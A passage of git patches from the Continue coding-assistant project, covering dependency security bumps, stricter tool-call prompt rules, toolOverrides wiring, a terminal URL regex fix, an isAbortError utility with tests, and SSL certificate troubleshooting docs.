"sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", - "license": "MIT", - "optional": true, - "peer": true } } } diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index efddda5e9..d055802c0 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -769,7 +769,7 @@ "svg-builder": "^2.0.0", "systeminformation": "^5.30.8", "tailwindcss": "^3.3.2", - "undici": "^6.21.3", + "undici": "^6.24.0", "uuid": "^9.0.1", "uuidv4": "^6.2.13", "vectordb": "0.4.20", From df8ef7ad5692f62dcd403008e3cd0d5cc8caa08f Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:52:05 -0600 Subject: [PATCH 11/66] fix: harden system message tools and wire toolOverrides to system message path (#10485) fix: harden system message tools instructions and wire toolOverrides to system message path The system message tools path (used when models don't support native tool calling) had two issues: 1. Weak format instructions - the prefix/suffix used vague prose that local models often ignored, reverting to XML or JSON tool call formats from their training priors. Replaced with explicit numbered rules that prohibit alternative formats. 2. toolOverrides silently ignored - applyToolOverrides() existed and ran on the native tools path (in BaseLLM.streamChat), but was never called on the system message path. Config YAML toolOverrides for disabled and description had no effect when tools were injected via system message. Fixed by: - Strengthening systemMessagePrefix/Suffix in toolCodeblocks framework - Adding toolOverrides to ModelDescription interface and serialization - Calling applyToolOverrides() in streamNormalInput before both paths Co-authored-by: Claude Opus 4.6 --- core/config/load.ts | 1 + core/index.d.ts | 3 +++ .../toolCodeblocks/index.ts | 19 +++++++++++++------ gui/src/redux/thunks/streamNormalInput.ts | 17 +++++++++++++++-- 4 files changed, 32 insertions(+), 8 deletions(-) diff --git a/core/config/load.ts b/core/config/load.ts index 4a88fbcce..e4c7e13c4 100644 --- a/core/config/load.ts +++ b/core/config/load.ts @@ -651,6 +651,7 @@ function llmToSerializedModelDescription(llm: ILLM): ModelDescription { envSecretLocations: llm.envSecretLocations, sourceFile: llm.sourceFile, isFromAutoDetect: llm.isFromAutoDetect, + toolOverrides: llm.toolOverrides, }; } diff --git a/core/index.d.ts b/core/index.d.ts index 82941d189..068c51abc 100644 --- a/core/index.d.ts +++ b/core/index.d.ts @@ -1255,6 +1255,9 @@ export interface ModelDescription { sourceFile?: string; isFromAutoDetect?: boolean; + + /** Tool overrides for this model */ + toolOverrides?: ToolOverride[]; } export interface JSONEmbedOptions { diff --git a/core/tools/systemMessageTools/toolCodeblocks/index.ts b/core/tools/systemMessageTools/toolCodeblocks/index.ts index 97baa19fa..a2cdc393d 100644 --- a/core/tools/systemMessageTools/toolCodeblocks/index.ts +++ b/core/tools/systemMessageTools/toolCodeblocks/index.ts @@ -65,13 +65,20 @@ export class SystemMessageToolCodeblocksFramework return toolDefinition.trim(); } - systemMessagePrefix = `You have access to several "tools" that you can use at any time to retrieve information and/or perform tasks for the User. -To use a tool, respond with a tool code block (\`\`\`tool) using the syntax shown in the examples below:`; + systemMessagePrefix = `You have access to tools. To call a tool, you MUST respond with EXACTLY this format — a tool code block (\`\`\`tool) using the syntax shown below. - systemMessageSuffix = `If it seems like the User's request could be solved with one of the tools, choose the BEST one for the job based on the user's request and the tool descriptions -Then send the \`\`\`tool codeblock (YOU call the tool, not the user). Always start the codeblock on a new line. -Do not perform actions with/for hypothetical files. Ask the user or use tools to deduce which files are relevant. -You can only call ONE tool at at time. The tool codeblock should be the last thing you say; stop your response after the tool codeblock.`; +CRITICAL: Follow the exact syntax. Do not use XML tags, JSON objects, or any other format for tool calls.`; + + systemMessageSuffix = `RULES FOR TOOL USE: +1. To call a tool, output a \`\`\`tool code block using EXACTLY the format shown above. +2. Always start the code block on a new line. +3. You can only call ONE tool at a time. +4. The \`\`\`tool code block MUST be the last thing in your response. Stop immediately after the closing \`\`\`. +5. Do NOT wrap tool calls in XML tags like or . +6. Do NOT use JSON format for tool calls. +7. Do NOT invent tools that are not listed above. +8. If the user's request can be addressed with a listed tool, use it rather than guessing. +9. Do not perform actions with hypothetical files. Use tools to find relevant files.`; exampleDynamicToolDefinition = ` \`\`\`tool_definition diff --git a/gui/src/redux/thunks/streamNormalInput.ts b/gui/src/redux/thunks/streamNormalInput.ts index 13cc5ebbf..559bcadf9 100644 --- a/gui/src/redux/thunks/streamNormalInput.ts +++ b/gui/src/redux/thunks/streamNormalInput.ts @@ -22,6 +22,7 @@ import { ThunkApiType } from "../store"; import { constructMessages } from "../util/constructMessages"; import { modelSupportsNativeTools } from "core/llm/toolSupport"; +import { applyToolOverrides } from "core/tools/applyToolOverrides"; import { addSystemMessageToolsToSystemMessage } from "core/tools/systemMessageTools/buildToolsSystemMessage"; import { interceptSystemToolCalls } from "core/tools/systemMessageTools/interceptSystemToolCalls"; import { SystemMessageToolCodeblocksFramework } from "core/tools/systemMessageTools/toolCodeblocks"; @@ -93,8 +94,20 @@ export const streamNormalInput = createAsyncThunk< throw new Error("No chat model selected"); } - // Get tools and filter them based on the selected model - const activeTools = selectActiveTools(state); + // Get tools and apply model-level overrides (disabled, description, etc.) + let activeTools = selectActiveTools(state); + if (selectedChatModel.toolOverrides?.length) { + const { tools: overriddenTools, errors } = applyToolOverrides( + activeTools, + selectedChatModel.toolOverrides, + ); + activeTools = overriddenTools; + for (const error of errors) { + if (!error.fatal) { + console.warn(`Tool override warning: ${error.message}`); + } + } + } // Use the centralized selector to determine if system message tools should be used const useNativeTools = state.config.config.experimental From ac1fd3634df9bccac76fc1d7aa47c9aa524d1ee4 Mon Sep 17 00:00:00 2001 From: Nate Sesti <33237525+sestinj@users.noreply.github.com> Date: Fri, 13 Mar 2026 15:57:04 -0700 Subject: [PATCH 12/66] [Snyk] Security upgrade undici from 7.18.2 to 7.24.0 (#11379) * fix: binary/package.json to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-JS-UNDICI-15518064 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518068 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518070 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518066 * chore: undicci update binary --------- Co-authored-by: snyk-bot Co-authored-by: Dallin Romney --- binary/package-lock.json | 13 ++++++------- binary/package.json | 2 +- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/binary/package-lock.json b/binary/package-lock.json index c374159df..051a35d39 100644 --- a/binary/package-lock.json +++ b/binary/package-lock.json @@ -20,7 +20,7 @@ "posthog-node": "^3.6.3", "system-ca": "^1.0.2", "tar": "^7.5.10", - "undici": "^7.16.0", + "undici": "^7.24.0", "uuid": "^9.0.1", "vectordb": "0.4.20", "win-ca": "^3.5.1" @@ -65,7 +65,7 @@ "@sentry/core": "^9.43.0", "@sentry/esbuild-plugin": "^4.0.2", "@sentry/node": "^9.43.0", - "@sentry/vite-plugin": "^4.0.2", + "@sentry/vite-plugin": "^5.0.0", "@xenova/transformers": "2.14.0", "adf-to-md": "^1.1.0", "async-mutex": "^0.5.0", @@ -113,7 +113,7 @@ "sqlite": "^5.1.1", "sqlite3": "^5.1.7", "system-ca": "^1.0.3", - "tar": "^7.4.3", + "tar": "^7.5.10", "tree-sitter-wasms": "^0.1.11", "untildify": "^6.0.0", "uuid": "^9.0.1", @@ -63194,10 +63194,9 @@ } }, "node_modules/undici": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.18.2.tgz", - "integrity": "sha512-y+8YjDFzWdQlSE9N5nzKMT3g4a5UBX1HKowfdXh0uvAnTaqqwqB92Jt4UXBAeKekDs5IaDKyJFR4X1gYVCgXcw==", - "license": "MIT", + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.24.1.tgz", + "integrity": "sha512-5xoBibbmnjlcR3jdqtY2Lnx7WbrD/tHlT01TmvqZUFVc9Q1w4+j5hbnapTqbcXITMH1ovjq/W7BkqBilHiVAaA==", "engines": { "node": ">=20.18.1" } diff --git a/binary/package.json b/binary/package.json index 86b74f351..e6242148b 100644 --- a/binary/package.json +++ b/binary/package.json @@ -53,7 +53,7 @@ "posthog-node": "^3.6.3", "system-ca": "^1.0.2", "tar": "^7.5.10", - "undici": "^7.16.0", + "undici": "^7.24.0", "uuid": "^9.0.1", "vectordb": "0.4.20", "win-ca": "^3.5.1" From 97b203d0288e127da0eeca141244916166ba5435 Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Fri, 13 Mar 2026 17:01:03 -0600 Subject: [PATCH 13/66] fix: terminal links open wrong URL for addresses with ports (#11369) * fix: terminal URL link detection now captures port numbers in IP addresses The link regex was designed for domain names and broke on IP:port URLs like http://192.168.137.1:8081, only linkifying up to the IP without the port. Simplified the http/https branch to match everything after the protocol until whitespace. Closes #11368 Co-Authored-By: Claude Opus 4.6 * test: validate link href attributes in terminal URL test The text-only assertion wouldn't catch a regression where the URL appears in output but the href is truncated (e.g. missing port). Co-Authored-By: Claude Opus 4.6 * style: fix prettier formatting on link regex Co-Authored-By: Claude Opus 4.6 --------- Co-authored-by: Claude Opus 4.6 --- .../UnifiedTerminal/UnifiedTerminal.test.tsx | 11 ++++++++--- .../components/UnifiedTerminal/UnifiedTerminal.tsx | 3 +-- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx b/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx index 55420628f..e6ea5eea8 100644 --- a/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx +++ b/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx @@ -27,7 +27,8 @@ const MOCK_ANSI_OUTPUT = `\u001b[32m✓\u001b[0m Test passed const MOCK_OUTPUT_WITH_LINKS = `Build successful! Visit https://example.com for more info Check www.github.com/user/repo -Error logs at file:///tmp/error.log`; +Error logs at file:///tmp/error.log +Available on: http://192.168.137.1:8081`; // Mock the redux hooks const mockDispatch = vi.fn(); @@ -200,9 +201,13 @@ describe("UnifiedTerminalCommand", () => { // Should contain the link text in the output expect(container.textContent).toMatch(/https:\/\/example\.com/); expect(container.textContent).toMatch(/www\.github\.com/); + expect(container.textContent).toMatch(/http:\/\/192\.168\.137\.1:8081/); - // Note: Link detection might create actual tags or just display the URLs - // The important thing is the URLs are visible in the output + // Verify rendered links have correct hrefs including port + const links = container.querySelectorAll("a"); + const hrefs = Array.from(links).map((a) => a.getAttribute("href")); + expect(hrefs).toContainEqual("https://example.com"); + expect(hrefs).toContainEqual(expect.stringContaining("192.168.137.1:8081")); }); test("shows copy and run in terminal buttons when not running", async () => { diff --git a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx index f048af8fb..34e72584a 100644 --- a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx +++ b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx @@ -175,8 +175,7 @@ function convertBundleIntoReact( } const content: React.ReactNode[] = []; - const linkRegex = - /(\s|^)(https?:\/\/(?:www\.|(?!www))[^\s.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/g; + const linkRegex = /(\s|^)(https?:\/\/[^\s]+|www\.[^\s]+\.[^\s]{2,})/g; let index = 0; let match: RegExpExecArray | null; From af4383f6df877ef12ba9678adec5d27b0d8e9eb3 Mon Sep 17 00:00:00 2001 From: "Keita A." Date: Sat, 14 Mar 2026 08:10:05 +0900 Subject: [PATCH 14/66] refactor: unify AbortError detection with isAbortError utility (#10551) * refactor: unify AbortError detection with isAbortError utility AbortError detection was scattered across 3+ patterns (string comparison, .name check, .code check). Consolidates into a single isAbortError() utility that handles all known patterns: "cancel" string, DOMException, Error.name variants, ABORT_ERR code, and plain objects. Updates call sites in core/llm/index.ts and core/llm/utils/retry.ts. * fix: use exact match for AbortError name, add null guard, improve tests - Changed .includes("AbortError") to === "AbortError" to preserve original exact-match semantics at L505 and retry.ts call sites - Added null/undefined early return to prevent TypeError on "name" in null - Unified DOMException branch to use exact match consistently - Tests: removed 4 redundant same-branch duplicates, added 12 new cases (case sensitivity, empty string, non-string name, partial name boundary, DOMException negative, plain object code asymmetry, boolean, frozen object, Error subclass, TypeError) - Fixed DOMException test skip from expect(true).toBe(true) to it.skipIf * fix: replace == null with === null || === undefined (eqeqeq) --------- Co-authored-by: amabito <192487536+amabito@users.noreply.github.com> Co-authored-by: amabito --- core/llm/index.ts | 5 +- core/llm/utils/retry.ts | 4 +- core/util/isAbortError.ts | 39 +++++++++ core/util/isAbortError.vitest.ts | 142 +++++++++++++++++++++++++++++++ 4 files changed, 187 insertions(+), 3 deletions(-) create mode 100644 core/util/isAbortError.ts create mode 100644 core/util/isAbortError.vitest.ts diff --git a/core/llm/index.ts b/core/llm/index.ts index dd6dd9c00..08d23442e 100644 --- a/core/llm/index.ts +++ b/core/llm/index.ts @@ -31,6 +31,7 @@ import { ToolOverride, Usage, } from "../index.js"; +import { isAbortError } from "../util/isAbortError.js"; import { isLemonadeInstalled } from "../util/lemonadeHelper.js"; import { Logger } from "../util/Logger.js"; import mergeJson from "../util/merge.js"; @@ -394,7 +395,7 @@ export abstract class BaseLLM implements ILLM { }); return "success"; } else { - if (error === "cancel" || error?.name?.includes("AbortError")) { + if (isAbortError(error)) { interaction?.logItem({ kind: "cancel", promptTokens, @@ -502,7 +503,7 @@ export abstract class BaseLLM implements ILLM { `HTTP ${e.response.status} ${e.response.statusText} from ${e.response.url}\n\n${e.response.body}`, ); } else { - if (e.name !== "AbortError") { + if (!isAbortError(e)) { // Don't pollute console with abort errors. Check on name instead of instanceof, to avoid importing node-fetch here console.debug( `${e.message}\n\nCode: ${e.code}\nError number: ${e.errno}\nSyscall: ${e.erroredSysCall}\nType: ${e.type}\n\n${e.stack}`, diff --git a/core/llm/utils/retry.ts b/core/llm/utils/retry.ts index 1ef12c79d..ba502c354 100644 --- a/core/llm/utils/retry.ts +++ b/core/llm/utils/retry.ts @@ -1,3 +1,5 @@ +import { isAbortError } from "../../util/isAbortError.js"; + /** * Configuration options for the retry decorator */ @@ -103,7 +105,7 @@ function defaultShouldRetry(error: any, attempt: number): boolean { } // Abort signal errors should not be retried - if (error.name === "AbortError" || error.code === "ABORT_ERR") { + if (isAbortError(error)) { return false; } diff --git a/core/util/isAbortError.ts b/core/util/isAbortError.ts new file mode 100644 index 000000000..583d656ae --- /dev/null +++ b/core/util/isAbortError.ts @@ -0,0 +1,39 @@ +/** + * Unified abort error detection. + * Covers all known abort patterns in the Continue codebase: + * - String literal "cancel" (streaming cancellation) + * - Error with name "AbortError" (node-fetch, DOM) + * - Error with code "ABORT_ERR" (Node.js AbortSignal) + * - DOMException with name "AbortError" (browser/Node.js 18+) + * - Plain objects with name "AbortError" (serialized errors) + */ +export function isAbortError(error: unknown): boolean { + if (error === null || error === undefined) return false; + + // String-based "cancel" (used in Continue streaming path) + if (error === "cancel") return true; + + // Standard Error objects + if (error instanceof Error) { + if (error.name === "AbortError") return true; + if ("code" in error && (error as any).code === "ABORT_ERR") return true; + } + + // DOMException (browser/Node.js 18+) + // In some runtimes DOMException does not extend Error, so check separately. + if ( + typeof DOMException !== "undefined" && + error instanceof DOMException && + error.name === "AbortError" + ) { + return true; + } + + // Plain objects with name property (e.g. serialized errors across boundaries) + if (typeof error === "object" && "name" in error) { + const name = (error as any).name; + if (typeof name === "string" && name === "AbortError") return true; + } + + return false; +} diff --git a/core/util/isAbortError.vitest.ts b/core/util/isAbortError.vitest.ts new file mode 100644 index 000000000..ccd644141 --- /dev/null +++ b/core/util/isAbortError.vitest.ts @@ -0,0 +1,142 @@ +import { describe, expect, it } from "vitest"; +import { isAbortError } from "./isAbortError"; + +describe("isAbortError", () => { + // -- Positive cases -- + + it('returns true for "cancel" string', () => { + expect(isAbortError("cancel")).toBe(true); + }); + + it("returns true for Error with name AbortError", () => { + const error = Object.assign(new Error("aborted"), { name: "AbortError" }); + expect(isAbortError(error)).toBe(true); + }); + + it("returns true for Error with ABORT_ERR code", () => { + const error = Object.assign(new Error("aborted"), { code: "ABORT_ERR" }); + expect(isAbortError(error)).toBe(true); + }); + + it("returns true for Error with both AbortError name and ABORT_ERR code", () => { + const error = Object.assign(new Error("aborted"), { + name: "AbortError", + code: "ABORT_ERR", + }); + expect(isAbortError(error)).toBe(true); + }); + + it("returns true for custom Error subclass with AbortError name", () => { + class CustomAbortError extends Error { + constructor() { + super("aborted"); + this.name = "AbortError"; + } + } + expect(isAbortError(new CustomAbortError())).toBe(true); + }); + + const hasDOMException = typeof DOMException !== "undefined"; + + it.skipIf(!hasDOMException)( + "returns true for DOMException with AbortError name", + () => { + const error = new DOMException("Operation aborted", "AbortError"); + expect(isAbortError(error)).toBe(true); + }, + ); + + it("returns true for plain object with name AbortError", () => { + expect(isAbortError({ name: "AbortError" })).toBe(true); + }); + + it("returns true for frozen object with name AbortError", () => { + expect(isAbortError(Object.freeze({ name: "AbortError" }))).toBe(true); + }); + + // -- Negative cases: exact match, not substring -- + + it("returns false for Error with name containing AbortError as substring", () => { + const error = Object.assign(new Error("x"), { name: "NetworkAbortError" }); + expect(isAbortError(error)).toBe(false); + }); + + it("returns false for Error with partial name Abort", () => { + const error = Object.assign(new Error("x"), { name: "Abort" }); + expect(isAbortError(error)).toBe(false); + }); + + it("returns false for plain object with AbortError substring in name", () => { + expect(isAbortError({ name: "AbortErrorWrapper" })).toBe(false); + }); + + // -- Negative cases: cancel is case-sensitive -- + + it('returns false for "Cancel" (capital C)', () => { + expect(isAbortError("Cancel")).toBe(false); + }); + + it('returns false for "CANCEL" (all caps)', () => { + expect(isAbortError("CANCEL")).toBe(false); + }); + + // -- Negative cases: plain object edge cases -- + + it("returns false for plain object with ABORT_ERR code but no AbortError name", () => { + // code check only applies to instanceof Error, not plain objects + expect(isAbortError({ code: "ABORT_ERR" })).toBe(false); + }); + + it("returns false for plain object with numeric name", () => { + expect(isAbortError({ name: 123 })).toBe(false); + }); + + it("returns false for plain object with null name", () => { + expect(isAbortError({ name: null })).toBe(false); + }); + + it.skipIf(!hasDOMException)( + "returns false for DOMException with non-AbortError name", + () => { + const error = new DOMException("fail", "NetworkError"); + expect(isAbortError(error)).toBe(false); + }, + ); + + // -- Negative cases: primitives and nullish -- + + it("returns false for null", () => { + expect(isAbortError(null)).toBe(false); + }); + + it("returns false for undefined", () => { + expect(isAbortError(undefined)).toBe(false); + }); + + it("returns false for empty string", () => { + expect(isAbortError("")).toBe(false); + }); + + it("returns false for number", () => { + expect(isAbortError(42)).toBe(false); + }); + + it("returns false for boolean", () => { + expect(isAbortError(false)).toBe(false); + expect(isAbortError(true)).toBe(false); + }); + + // -- Negative cases: regular errors -- + + it("returns false for regular Error", () => { + expect(isAbortError(new Error("network error"))).toBe(false); + }); + + it("returns false for TypeError", () => { + expect(isAbortError(new TypeError("bad type"))).toBe(false); + }); + + it("returns false for plain object without name", () => { + expect(isAbortError({ message: "error" })).toBe(false); + }); +}); From a952ea1450250352521b0e31b144c3698a24a822 Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Thu, 19 Mar 2026 16:39:05 -0600 Subject: [PATCH 15/66] fix: remove hardcoded Unix $ prompt prefix from terminal UI (#11429) The terminal command display hardcoded a `$ ` before every command. This is a Unix shell convention with no meaning on Windows (PowerShell, cmd) and doesn't reflect the user's actual shell. Since the command is already visually distinct inside a labeled Terminal block, the prefix adds no information and is misleading cross-platform. Closes #11428 Co-authored-by: Claude Opus 4.6 --- gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx | 6 +++--- gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx b/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx index e6ea5eea8..5df5ecb53 100644 --- a/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx +++ b/gui/src/components/UnifiedTerminal/UnifiedTerminal.test.tsx @@ -49,7 +49,7 @@ describe("UnifiedTerminalCommand", () => { ); // Should show the command - expect(screen.getByText(`$ ${MOCK_COMMAND}`)).toBeInTheDocument(); + expect(screen.getByText(MOCK_COMMAND)).toBeInTheDocument(); // Should show terminal header expect(screen.getByText("Terminal")).toBeInTheDocument(); @@ -69,7 +69,7 @@ describe("UnifiedTerminalCommand", () => { ); // Should show the command and output - expect(screen.getByText(`$ ${MOCK_COMMAND}`)).toBeInTheDocument(); + expect(screen.getByText(MOCK_COMMAND)).toBeInTheDocument(); // Check that the output content exists in the container expect(container.textContent).toMatch(/Test 1 passed/); @@ -308,7 +308,7 @@ describe("UnifiedTerminalCommand", () => { ); // Should show command but no output section - expect(screen.getByText(`$ ${MOCK_COMMAND}`)).toBeInTheDocument(); + expect(screen.getByText(MOCK_COMMAND)).toBeInTheDocument(); // Should not show any output content const outputElements = container.querySelectorAll( diff --git a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx index 34e72584a..e8b240fdd 100644 --- a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx +++ b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx @@ -409,7 +409,7 @@ export function UnifiedTerminalCommand({ // Create combined content for copying (command + output) const copyContent = useMemo(() => { - let content = `$ ${command}`; + let content = command; if (hasOutput) { content += `\n\n${output}`; } @@ -458,7 +458,7 @@ export function UnifiedTerminalCommand({
               
                 {/* Command is always visible */}
-                
$ {command}
+
{command}
{/* Running state with cursor */} {isRunning && !hasOutput && ( From a251756b94f32aa390db68945f52398a85348438 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 15:41:21 -0700 Subject: [PATCH 16/66] chore(deps): bump socket.io-parser from 4.2.4 to 4.2.6 in /gui (#11603) Bumps [socket.io-parser](https://github.com/socketio/socket.io) from 4.2.4 to 4.2.6. - [Release notes](https://github.com/socketio/socket.io/releases) - [Changelog](https://github.com/socketio/socket.io/blob/main/CHANGELOG.md) - [Commits](https://github.com/socketio/socket.io/compare/socket.io-parser@4.2.4...socket.io-parser@4.2.6) --- updated-dependencies: - dependency-name: socket.io-parser dependency-version: 4.2.6 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- gui/package-lock.json | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) diff --git a/gui/package-lock.json b/gui/package-lock.json index 3b0aab061..589ea4c27 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -14439,33 +14439,18 @@ } }, "node_modules/socket.io-parser": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz", - "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.6.tgz", + "integrity": "sha512-asJqbVBDsBCJx0pTqw3WfesSY0iRX+2xzWEWzrpcH7L6fLzrhyF8WPI8UaeM4YCuDfpwA/cgsdugMsmtz8EJeg==", + "license": "MIT", "dependencies": { "@socket.io/component-emitter": "~3.1.0", - "debug": "~4.3.1" + "debug": "~4.4.1" }, "engines": { "node": ">=10.0.0" } }, - "node_modules/socket.io-parser/node_modules/debug": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", - "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, "node_modules/sort-keys": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", From 516c0321518ec516347e422ee1d90f827d8f4855 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 15:46:39 -0700 Subject: [PATCH 17/66] chore(deps): bump JetBrains/qodana-action from 2025.3.1 to 2025.3.2 (#11496) Bumps [JetBrains/qodana-action](https://github.com/jetbrains/qodana-action) from 2025.3.1 to 2025.3.2. - [Release notes](https://github.com/jetbrains/qodana-action/releases) - [Commits](https://github.com/jetbrains/qodana-action/compare/v2025.3.1...v2025.3.2) --- updated-dependencies: - dependency-name: JetBrains/qodana-action dependency-version: 2025.3.2 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/jetbrains-release.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/jetbrains-release.yaml b/.github/workflows/jetbrains-release.yaml index f80d6805e..c8724c375 100644 --- a/.github/workflows/jetbrains-release.yaml +++ b/.github/workflows/jetbrains-release.yaml @@ -491,7 +491,7 @@ jobs: # Run Qodana inspections - name: Qodana - Code Inspection - uses: JetBrains/qodana-action@v2025.3.1 + uses: JetBrains/qodana-action@v2025.3.2 with: cache-default-branch-only: true From c0f338e33d08b0d1a1c2ba4c2fd9c709f3b54b81 Mon Sep 17 00:00:00 2001 From: fahe1em1 <131003503+fahe1em1@users.noreply.github.com> Date: Thu, 19 Mar 2026 22:50:18 +0000 Subject: [PATCH 18/66] docs: improve SSL certificate troubleshooting guidance (#11354) --- docs/faqs.mdx | 12 ++++- docs/guides/how-to-self-host-a-model.mdx | 2 + docs/troubleshooting.mdx | 62 +++++++++++++++++++++++- 3 files changed, 73 insertions(+), 3 deletions(-) diff --git a/docs/faqs.mdx b/docs/faqs.mdx index 80e0208d6..1a4cd6c6e 100644 --- a/docs/faqs.mdx +++ b/docs/faqs.mdx @@ -38,7 +38,15 @@ If you're seeing a `fetch failed` error and your network requires custom certifi You may also set `requestOptions.caBundlePath` to an array of paths to multiple certificates. -**_Windows VS Code Users_**: Installing the [win-ca](https://marketplace.visualstudio.com/items?itemName=ukoloff.win-ca) extension should also correct this issue. +**_Windows VS Code Users_**: Installing the [win-ca](https://marketplace.visualstudio.com/items?itemName=ukoloff.win-ca) extension may help Continue use the Windows certificate store, but `requestOptions.caBundlePath` is the most reliable fix. + +### Common SSL certificate errors + +If your logs include errors such as `unable to verify the first certificate`, `self signed certificate in certificate chain`, `certificate verify failed`, or `CERT_UNTRUSTED`, Continue was able to reach the endpoint but could not verify the TLS certificate chain it returned. + +In most cases, the fix is to export the root or intermediate CA certificate for that endpoint and set `requestOptions.caBundlePath` in your model configuration. If the server also requires mutual TLS, add `requestOptions.clientCertificate` as well. + +For step-by-step diagnosis with `curl` and `openssl`, see [Troubleshooting SSL certificate errors](/troubleshooting#ssl-certificate-errors). ### VS Code Proxy Settings @@ -382,4 +390,4 @@ If you'd like to perform a clean reset of the extension, including removing all ## Still having trouble? -You can also join [GitHub Discussions](https://github.com/continuedev/continue/discussions) for additional support. Alternatively, you can create a GitHub issue [here](https://github.com/continuedev/continue/issues/new?assignees=&labels=bug&projects=&template=bug-report-%F0%9F%90%9B.md&title=), providing details of your problem, and we'll be able to help you out more quickly. \ No newline at end of file +You can also join [GitHub Discussions](https://github.com/continuedev/continue/discussions) for additional support. Alternatively, you can create a GitHub issue [here](https://github.com/continuedev/continue/issues/new?assignees=&labels=bug&projects=&template=bug-report-%F0%9F%90%9B.md&title=), providing details of your problem, and we'll be able to help you out more quickly. diff --git a/docs/guides/how-to-self-host-a-model.mdx b/docs/guides/how-to-self-host-a-model.mdx index 3126b349e..a36745b90 100644 --- a/docs/guides/how-to-self-host-a-model.mdx +++ b/docs/guides/how-to-self-host-a-model.mdx @@ -120,3 +120,5 @@ config.json ] } ``` + +If your endpoint uses a private or corporate CA but does not require mutual TLS, configure `requestOptions.caBundlePath` instead. For common errors like `unable to verify the first certificate` or `CERT_UNTRUSTED`, see [Configure Certificates](/faqs#configure-certificates) and [SSL certificate errors](/troubleshooting#ssl-certificate-errors). diff --git a/docs/troubleshooting.mdx b/docs/troubleshooting.mdx index cc87e6d71..46f8b88d7 100644 --- a/docs/troubleshooting.mdx +++ b/docs/troubleshooting.mdx @@ -8,7 +8,8 @@ description: "Comprehensive guide to resolving common issues with Continue, incl 3. [Download an older version](#download-an-older-version) 4. [Resolve keyboard shortcut issues](#keyboard-shortcuts-not-resolving) 5. [MCP Server connection issues](#mcp-server-connection-issues) -6. [Check FAQs for common issues](/faqs) +6. [SSL certificate errors](#ssl-certificate-errors) +7. [Check FAQs for common issues](/faqs) ## Check the logs @@ -104,6 +105,65 @@ To find the full path to a command on your system: This issue typically affects macOS users with large development environments and is being tracked in [#7870](https://github.com/continuedev/continue/issues/7870) and [#6699](https://github.com/continuedev/continue/issues/6699). +## SSL certificate errors + +If Continue can reach your model endpoint but cannot verify its TLS certificate chain, you may see `fetch failed` alongside errors such as: + +- `unable to verify the first certificate` +- `self signed certificate in certificate chain` +- `certificate verify failed` +- `CERT_UNTRUSTED` + +This usually happens when you are connecting to a self-hosted model, enterprise proxy, or internal endpoint that uses a private CA or an incomplete certificate chain. + +### Quick fix: trust the CA bundle + +Add the root or intermediate certificate for that endpoint to your model's `requestOptions.caBundlePath`: + +```yaml +models: + - name: Secure endpoint 